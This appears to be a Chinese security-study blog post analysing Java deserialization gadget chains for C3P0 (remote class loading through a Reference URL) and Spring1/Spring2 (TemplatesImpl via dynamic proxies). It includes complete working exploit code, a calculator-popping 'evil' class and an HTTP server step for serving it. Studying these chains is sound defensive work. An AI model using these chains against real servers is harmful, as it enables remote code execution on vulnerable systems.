参考文章:
https://su18.org/
C3P0 HttpBase
C3P0 的基础知识(基础使用和关键类解析)学习学习:
https://www.cnblogs.com/ZhangZiSheng001/p/12080533.html
c3p0
是用于创建和管理连接,利用“池”的方式复用连接减少资源开销,和其他数据源一样,也具有连接数控制、连接可靠性测试、连接泄露控制、缓存语句等功能。目前,hibernate
自带的连接池就是c3p0
(hibernate
是上一篇文章提到的 orm
框架)
简单来说用法是这样的:
- 编写
c3p0.properties
,设置数据库连接参数和连接池基本参数等
new
一个ComboPooledDataSource
对象,它会自动加载c3p0.properties
- 通过
ComboPooledDataSource
对象获得Connection
对象
- 使用
Connection
对象对用户表进行增删改查
依赖引入:
1 2 3 4 5
| <dependency> <groupId>com.mchange</groupId> <artifactId>c3p0</artifactId> <version>0.9.5.2</version> </dependency>
|
增删改查具体操作就不说了,直接看链子。
前置知识
PoolBackedDataSourceBase
参考文章中对该类的描述是这样的:实现了IdentityTokenized
接口,还持有PropertyChangeSupport
和VetoableChangeSupport
对象,并提供了添加和移除监听器的方法。
先看这个类的 writeObject 方法:

可以看到当 connectPoolDataSource 不可以被序列化的时候,会调用 indirectForm 对其进行引用封装,返回一个可以被序列化的 IndirectlySerialized 实例对象,跟进 indirectForm 方法:

调用了 connectPoolDataSource 的 getReference 方法获得了 Reference 对象,并使用 ReferenceSerialized 对象对其封装。
再看看反序列化的时候:

调用其 IndirectlySerialized 的 getObject() 方法重新生成 ConnectionPoolDataSource 对象。

在 contextName、env 均为空的情况下,则调用 ReferenceableUtils.referenceToObject() 使用 Reference 中的信息来获取。跟进 referenceToObject 方法:

可以看到利用 Reference 里的信息完成了通过 url 加载类并且进行实例化。
攻击构造
自己重写一个不可以被序列化但实现了 ConnectionPoolDataSource 和 Referenceable 的类,关键是重写里面的 getReference 方法(之前讲过了是利用 Reference 的信息加载类),并将这个类的对象赋值给 PoolBackedDataSourceBase 对象。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75
| import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import javax.naming.NamingException; import javax.naming.Reference; import javax.naming.Referenceable; import javax.sql.ConnectionPoolDataSource; import javax.sql.PooledConnection; import java.io.*; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.sql.SQLException; import java.sql.SQLFeatureNotSupportedException; import java.util.logging.Logger;
public class C3P0BaseHttp { private static final class MyPool implements ConnectionPoolDataSource, Referenceable {
private String className;
private String url;
public MyPool(String className, String url) { this.className = className; this.url = url; }
public Reference getReference() throws NamingException { return new Reference("Pazuris", this.className, this.url); }
public PrintWriter getLogWriter() throws SQLException { return null; }
@Override public void setLogWriter(PrintWriter out) throws SQLException {
}
public void setLoginTimeout(int seconds) throws SQLException { }
public int getLoginTimeout() throws SQLException { return 0; }
public Logger getParentLogger() throws SQLFeatureNotSupportedException { return null; }
public PooledConnection getPooledConnection() throws SQLException { return null; }
public PooledConnection getPooledConnection(String user, String password) throws SQLException { return null; }
}
public static void main(String[] args) throws Exception { Constructor<?> constructor = PoolBackedDataSourceBase.class.getDeclaredConstructor(); constructor.setAccessible(true); PoolBackedDataSourceBase p = (PoolBackedDataSourceBase) constructor.newInstance(); ConnectionPoolDataSource pool = new MyPool("cn.pazuris.evil","http://0.0.0.0:1099/"); Field f = PoolBackedDataSourceBase.class.getDeclaredField("connectionPoolDataSource"); f.setAccessible(true); f.set(p,pool); ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("C3P0Http.bin")); oos.writeObject(p); ObjectInputStream ois = new ObjectInputStream(new FileInputStream("C3P0Http.bin")); ois.readObject(); } }
|
自己写的,整了半天终于弹出计算器了,问题在于远程拉取类这里。首先创建一个 evil 类:
1 2 3 4 5 6 7 8 9 10 11 12 13
| package cn.pazuris;
import java.io.IOException;
public class evil { static { try { Runtime.getRuntime().exec("gnome-calculator"); } catch (IOException e) { throw new RuntimeException(e); } } }
|
注意这个类的类名是 cn.pazuris.evil。然后使用 javac 编译为 class 文件!!
接着在 cn 软件包的上一级开一个服务器,python -m http.server --cgi 1099
,"cn.pazuris.evil","http://0.0.0.0:1099/"
即可成功拉取 evil 类:

有 fastjson 依赖情况下可以使用另外两条 C3P0 的链子,由于属于 fastjson 的内容,这里不再分析。
https://www.cnblogs.com/akka1/p/16172125.html#autoid-1-3-2
Spring1
动态代理延长,优秀的想法。
参考文章:
https://xz.aliyun.com/t/12875#toc-2
https://cangqingzhe.github.io/2022/05/06/Spring1%E5%88%A9%E7%94%A8%E9%93%BE%E5%88%86%E6%9E%90/
影响版本
- spring-core : 4.1.4.RELEASE
- spring-beans : 4.1.4.RELEASE
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <dependency> <groupId>org.springframework</groupId> <artifactId>spring-core</artifactId> <version>4.1.4.RELEASE</version> </dependency>
<dependency> <groupId>org.springframework</groupId> <artifactId>spring-beans</artifactId> <version>4.1.4.RELEASE</version> </dependency>
|
如果 maven 报错无法下载,可以在 settings.xml 里面加个代理。
https://blog.csdn.net/weixin_45852922/article/details/120412785
前置知识
AnnotationInvocationHandler
这个动态代理类老朋友了,但是今天会利用到另外一个操作,利用动态代理改变代理类方法的返回值,看 AnnotationInvocationHandler 的 invoke 方法:

ps:这张图是后面补的,换了台主机,所以换了背景。
可以看到返回了 memberValues (传入的 map)键为 var4 (方法名)的值,于是我们可以通过下面的操作来换掉被代理的类中任意方法的返回值(这很重要!)。
- 构造一个Map,里面的
key
是需要更改返回值的方法名,value
是对应的返回值。
- 然后用
AnnotationInvocationHandler
来动态代理这个类。
- 这样的话,当我们调用代理类的对应方法时,该方法通过
AnnotationInvocationHandler
的invoke()
方法后,返回值就被修改为需要的返回值。
MethodInvokeTypeProvider
spring核心包有一个类:org.springframework.core.SerializableTypeWrapper.MethodInvokeTypeProvider
。这个类实现了TypeProvider
接口,表示这是一个可以进行反序列化的类。看看 readObject 方法,发现了非常危险的 invokeMethod :

findMethod
传入的参数为自身的provider.getType().getClass()
和methodName
。这个methodName
通过反射改就行,重点是如何控制getType
方法的返回值,可以实现无参方法的调用。无参方法的调用可以想到老朋友TemplatesImpl.newTransformer()
,于是我们的任务变成了控制getType()
的返回值为TemplatesImpl
即可触发漏洞。

可以看到原来的getType()
返回的是一个 Type 类型的变量,也就是说如果我们直接通过动态代理让getType()
返回TemplatesImpl
会报类型转换错误的错。
ObjectFactoryDelegatingInvocationHandler
在srping-beans的包中存在org.springframework.beans.factory.support.AutowireUtils.ObjectFactoryDelegatingInvocationHandler
这个类,实现了Serializable
和InvocationHandler
接口。可以序列化且动态代理其他类。

一方面,其 invoke 方法最后会调用 objectFactory 的 getObject 方法,返回一个 objectFactory 对象用于 invoke 反射调用。

从这里可以看到这个 getObject 方法返回的是泛型,也就是说我们可以通过动态代理任意改变他的返回值而不会产生类型转换错误。
攻击构造
刚开始没想清楚,觉得有点复杂,仔细想想其实思路也很明确,只能说这个动态代理的思路太强大了。
用简单的话说,思路大概是这样的:先用 AnnotationInvocationHandler 代理 TypeProvider ,使其返回值变为一个既是 Type 类型又是 Templates(TemplatesImpl 父类)类型的类(因为返回值必须为 Type ,且必须有 newTransformer 方法才能正常进到动态代理类的 invoke 方法,简单来说就是这个类具有 Type 和 Templates 二者的全部方法),然后使用 ObjectFactoryDelegatingInvocationHandler 来代理这个类,使得触发 ObjectFactoryDelegatingInvocationHandler 的 invoke 方法,进而触发 getObject 方法,最后用 AnnotationInvocationHandler 代理一下 ObjectFactory ,使 getObject 返回封装好的恶意 TemplatesImpl 对象即可。
总体来说,AnnotationInvocationHandler 用来改变方法的返回值,但是必须与原方法返回值类型相符,使用了两次,中间利用 ObjectFactoryDelegatingInvocationHandler 的 invoke 方法连接,从而成功触发 TemplatesImpl 的 newTransformer 方法,完成命令执行。
完整利用链代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104
| import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.springframework.beans.factory.ObjectFactory;
import javax.xml.transform.Templates; import java.io.*; import java.lang.annotation.Target; import java.lang.reflect.*; import java.util.HashMap;
public class Spring1 { public static void main(String[] args) throws Exception { InputStream inputStream = Spring1.class.getResourceAsStream("evil.class"); byte[] bytes = new byte[inputStream.available()]; inputStream.read(bytes); TemplatesImpl tmpl = new TemplatesImpl(); Field bytecode = tmpl.getClass().getDeclaredField("_bytecodes"); bytecode.setAccessible(true); bytecode.set(tmpl,new byte[][]{bytes}); Field name = tmpl.getClass().getDeclaredField("_name"); name.setAccessible(true); name.set(tmpl,"Pazuris");
Field tfactory = tmpl.getClass().getDeclaredField("_tfactory"); tfactory.setAccessible(true); tfactory.set(tmpl,new TransformerFactoryImpl());
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor<?> constructor = c.getDeclaredConstructors()[0]; constructor.setAccessible(true);
HashMap<String, Object> map = new HashMap<>(); map.put("getObject", tmpl);
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, map);
ObjectFactory<?> factory = (ObjectFactory<?>) Proxy.newProxyInstance( ClassLoader.getSystemClassLoader(), new Class[]{ObjectFactory.class}, invocationHandler);
Class<?> clazz = Class.forName("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler"); Constructor<?> ofdConstructor = clazz.getDeclaredConstructors()[0]; ofdConstructor.setAccessible(true); InvocationHandler ofdHandler = (InvocationHandler) ofdConstructor.newInstance(factory);
Type typeTemplateProxy = (Type) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Type.class, Templates.class}, ofdHandler);
HashMap<String, Object> map2 = new HashMap<>(); map2.put("getType", typeTemplateProxy);
InvocationHandler newInvocationHandler = (InvocationHandler) constructor.newInstance(Target.class, map2);
Class<?> typeProviderClass = Class.forName("org.springframework.core.SerializableTypeWrapper$TypeProvider"); Object typeProviderProxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{typeProviderClass}, newInvocationHandler);
Class<?> clazz2 = Class.forName("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider"); Constructor<?> cons = clazz2.getDeclaredConstructors()[0]; cons.setAccessible(true);
Object objects = cons.newInstance(typeProviderProxy, Object.class.getMethod("toString"), 0); Field field = clazz2.getDeclaredField("methodName"); field.setAccessible(true); field.set(objects, "newTransformer");
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("spring1.bin")); oos.writeObject(objects); ObjectInputStream ois = new ObjectInputStream(new FileInputStream("spring1.bin")); ois.readObject();
} }
|
动态调试一下加深理解:
先跳到 MethodInvokeTypeProvider 的 readObject处(入口点):

由于这里尝试调用 getType 方法,而 provider 又被动态代理,故步进自动调用 AnnotationInvocationHandler 的 invoke 方法:

可以看到返回的 var6 如我们所愿是被 ObjectFactoryDelegatingInvocationHandler 所代理,且 getObject = TemplatesImpl,回到 readObject 中,再加上之前构造的 this.methodName = newTransformer,尝试调用这个既是 Type 类型又是 Templates(TemplatesImpl 父类)类型的代理类的 newTransformer 方法,跳转至代理类 ObjectFactoryDelegatingInvocationHandler 的 invoke 方法:

看到下面的 invoke 里面,尝试调用 objectFactory 的 getObject 方法,跳转至 AnnotationInvocationHandler 的 invoke 方法,如上文所述,返回了构造好的恶意 TemplatesImpl 对象:

最终在这个 ObjectFactoryDelegatingInvocationHandler 里的 method.invoke 完成 TemplatesImpl.newTransformer 的调用,弹出了计算器:

不得不再次感慨,这条链子对动态代理的利用真的强。
Spring2
比上一条链多了一个 aop 的依赖,少了一个 spring-beans 的依赖,其他依赖情况一样:
1 2 3 4 5
| <dependency> <groupId>org.springframework</groupId> <artifactId>spring-aop</artifactId> <version>4.1.4.RELEASE</version> </dependency>
|
因为这条链子整体和 Spring1 一样,只是替换了 spring-beans 的 ObjectFactoryDelegatingInvocationHandler,使用了 spring-aop 的 JdkDynamicAopProxy ,并完成了后续触发 TemplatesImpl 的流程。
前置知识
JdkDynamicAopProxy
org.springframework.aop.framework.JdkDynamicAopProxy
类是 Spring AOP 框架基于 JDK 动态代理的实现,同时其还实现了 AopProxy 接口。
我们来看一下 invoke 方法,获取 AdvisedSupport 里的 TargetSource,并调用 getTarget() 方法返回其中的对象,然后进行了反射调用 target 的 method:

等等,这听起来怎么和上面 Spring1 的 ObjectFactoryDelegatingInvocationHandler 如此一致??没错,就是这样,替换一下就出了 Spring2 的链子,依然代理 targetSource ,让 getTarget 方法返回构造好的 TemplatesImpl 。
攻击构造
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87
| import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.springframework.aop.framework.AdvisedSupport;
import javax.xml.transform.Templates; import java.io.*; import java.lang.annotation.Target; import java.lang.reflect.*; import java.util.HashMap; public class Spring2 { public static void main(String[] args) throws Exception{ InputStream inputStream = Spring2.class.getResourceAsStream("evil.class"); byte[] bytes = new byte[inputStream.available()]; inputStream.read(bytes); TemplatesImpl tmpl = new TemplatesImpl(); Field bytecode = tmpl.getClass().getDeclaredField("_bytecodes"); bytecode.setAccessible(true); bytecode.set(tmpl,new byte[][]{bytes}); Field name = tmpl.getClass().getDeclaredField("_name"); name.setAccessible(true); name.set(tmpl,"Pazuris");
Field tfactory = tmpl.getClass().getDeclaredField("_tfactory"); tfactory.setAccessible(true); tfactory.set(tmpl,new TransformerFactoryImpl()); AdvisedSupport as = new AdvisedSupport(); as.setTarget(tmpl);
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor<?> constructor = c.getDeclaredConstructors()[0]; constructor.setAccessible(true);
Class<?> clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy"); Constructor<?> aopConstructor = clazz.getDeclaredConstructors()[0]; aopConstructor.setAccessible(true); InvocationHandler aopProxy = (InvocationHandler) aopConstructor.newInstance(as);
Type typeTemplateProxy = (Type) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Type.class, Templates.class}, aopProxy);
HashMap<String, Object> map2 = new HashMap<>(); map2.put("getType", typeTemplateProxy);
InvocationHandler newInvocationHandler = (InvocationHandler) constructor.newInstance(Target.class, map2);
Class<?> typeProviderClass = Class.forName("org.springframework.core.SerializableTypeWrapper$TypeProvider"); Object typeProviderProxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{typeProviderClass}, newInvocationHandler);
Class<?> clazz2 = Class.forName("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider"); Constructor<?> cons = clazz2.getDeclaredConstructors()[0]; cons.setAccessible(true); Object objects = cons.newInstance(typeProviderProxy, Object.class.getMethod("toString"), 0); Field field = clazz2.getDeclaredField("methodName"); field.setAccessible(true); field.set(objects, "newTransformer");
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("spring2.bin")); oos.writeObject(objects); ObjectInputStream ois = new ObjectInputStream(new FileInputStream("spring2.bin")); ois.readObject(); } }
|
动态调试一下也能看出来其实就是和上面那题流程几乎一样的,比如这里第一次 AnnotationInvocationHandler 返回的就是被 JdkDynamicAopProxy 代理的代理类

最后也是在 invokeJoinpointUsingReflection (就是简单的反射调用方法)完成调用并弹出计算器。
